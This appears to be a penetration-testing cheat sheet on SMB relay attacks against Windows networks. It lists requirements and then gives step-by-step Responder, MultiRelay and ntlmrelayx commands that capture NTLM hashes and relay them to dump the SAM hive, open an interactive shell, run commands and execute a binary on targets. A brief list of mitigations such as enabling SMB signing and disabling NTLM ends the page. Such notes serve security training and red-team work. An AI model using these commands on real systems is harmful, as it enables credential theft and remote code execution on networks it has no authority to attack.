SMB Relay
What is SMB Relay?
Capture hashes
Relay them to other hosts to authenticate
No need to crack hashes with hashcat
Requirements
SMB signing must be disabled on the target
SMB signing checks authenticity of SMB packets
Relayed user credentials must be admin on target machine
Exploitation
# Discover hosts with SMB signing disabled
python RunFinger.py -i 10.0.0.2/24
nmap --script=smb2-security-mode -p 445 -v 10.10.10.0/24
# Turn off HTTP and SMB in Responder.conf
nvim Responder.conf
# Start responder
python Responder.py -I tun0 -rdwv
# Set up relay
# Target specific host
python MultiRelay.py -t 10.0.2.4 -u ALL
# Target multiple hosts
# Dump SAM hive
python ntlmrelayx.py -tf targets.txt -smb2support
# Interactive SMB shell
python ntlmrelayx.py -tf targets.txt -smb2support -i
nc 127.0.0.1 11000
# Execute command
python ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
# Execute binary
python ntlmrelayx.py -tf targets.txt -smb2support -e "shell.exe"
Mitigation
Enable SMB signing on all devices (may cause performance issues with file copies)
Disable NTLM authentication on the network but Windows can default back to it if Kerberos stops working
Account tiering: limit domain admins to specific tasks
Local admin restriction (can increase service deskt tickets)
Last updated